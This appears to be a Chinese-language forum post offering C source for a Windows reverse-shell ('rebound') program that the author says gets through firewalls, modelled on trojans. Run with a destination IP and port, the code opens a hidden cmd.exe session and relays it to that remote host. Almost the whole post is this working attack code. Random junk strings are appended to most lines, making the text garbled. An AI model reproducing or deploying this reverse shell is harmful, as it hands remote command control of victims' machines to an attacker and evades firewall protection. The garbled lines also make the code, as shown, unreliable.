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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vJj}$AlI  
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/* ============================== XOL_vS24  
Rebound port in Windows NT  MFyi#nq  
By wind,2006/7 U6?3 z  
===============================*/ fnJx$PD~  
#include y$8S+N?>  
#include GLp~SeF#  
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#pragma comment(lib,"wsock32.lib") )vD:  
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void OutputShell(); f = 'AI  
SOCKET sClient; hG2WxYk  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V}h <,E9  
 5fq4[a  
void main(int argc,char **argv) ~K@p`CRbV  
{ $Sgq7  
WSADATA stWsaData; PO nF_FC  
int nRet; K%.t%)A_3  
SOCKADDR_IN stSaiClient,stSaiServer; }ijFvIHV  
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if(argc != 3) bfq%.<W  
{ cO8yu`4!e  
printf("Useage:\n\rRebound DestIP DestPort\n"); MX"M2>"pT  
return; %RX!Pi}5+g  
} *+TO%{4  
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WSAStartup(MAKEWORD(2,2),&stWsaData); GYrUB59  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cTja<*W^xv  
8I~*9MUp  
stSaiClient.sin_family = AF_INET; {nMCU{*k  
stSaiClient.sin_port = htons(0); {)I&&fSz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  eIj2(q9  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l0PXU)>C  
{ w~~[0e+E  
printf("Bind Socket Failed!\n"); 5mX"0a_Q  
return; T"DG$R,Aj  
} /%F5u}eW  
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stSaiServer.sin_family = AF_INET; jZk dTiI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !{F\ \D/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rRX F@  
YF(bl1>YC  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8dh ?JqX  
{ UNA!vzOb  
printf("Connect Error!"); 06 an(& a9  
return; z s\N)LyM  
} p^C$(}Yh  
OutputShell(); [dy0aR$>d  
} G;e)K\[J  
19bqz )  
void OutputShell() 79 \SbB  
{ ]P2Wa   
char szBuff[1024]; YRu/KUT$ 7  
SECURITY_ATTRIBUTES stSecurityAttributes; VVe^s|~Z  
OSVERSIONINFO stOsversionInfo; RgD:"zeM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WM0-F@_  
STARTUPINFO stStartupInfo; D1V^DbUm_  
char *szShell; 5 Nt9'"  
PROCESS_INFORMATION stProcessInformation; sWq@E6,I  
unsigned long lBytesRead; 7yal  T.  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #[]B: n6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6RfS_  
stSecurityAttributes.lpSecurityDescriptor = 0; _6`H `zept  
stSecurityAttributes.bInheritHandle = TRUE; +.a->SZ5"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;y;UgwAM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l]L"Ex{  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !]MGIh#u  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &S[>*+}{+  
stStartupInfo.wShowWindow = SW_HIDE; (Bss%\  
stStartupInfo.hStdInput = hReadPipe; +;a\ gF^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c^~R %Bx  
lT8^BT  
GetVersionEx(&stOsversionInfo); l M a||  
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switch(stOsversionInfo.dwPlatformId) `pXPF}T  
{ p[%B#(]9,  
case 1: D.YT u$T  
szShell = "command.com"; -yMD9b  
break; ?^U1~5ff)  
default: &g!yRvM!;Q  
szShell = "cmd.exe"; Bam 4%G5  
break; } DjbVYH  
} .G>6_n3  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wx^1lC2  
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send(sClient,szMsg,77,0); T9AFL;1  
while(1) 8ZNwo  
{ X1="1{8H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `8D'r|=`Eh  
if(lBytesRead) +2m\Sv V  
{ Cdc=1,U(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w"!zLB&9[  
send(sClient,szBuff,lBytesRead,0); R}$A>)%dx  
} ~g&Gi)je  
else A[Vhy;xz  
{ 30QQnMH3  
lBytesRead=recv(sClient,szBuff,1024,0); xKXD`-|W  
if(lBytesRead<=0) break; t.] e8=dE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TYedem<$  
} {+ WI>3  
} 51puR8AG>  
*KPNWY9!W  
return; )z7+%nTO  
}
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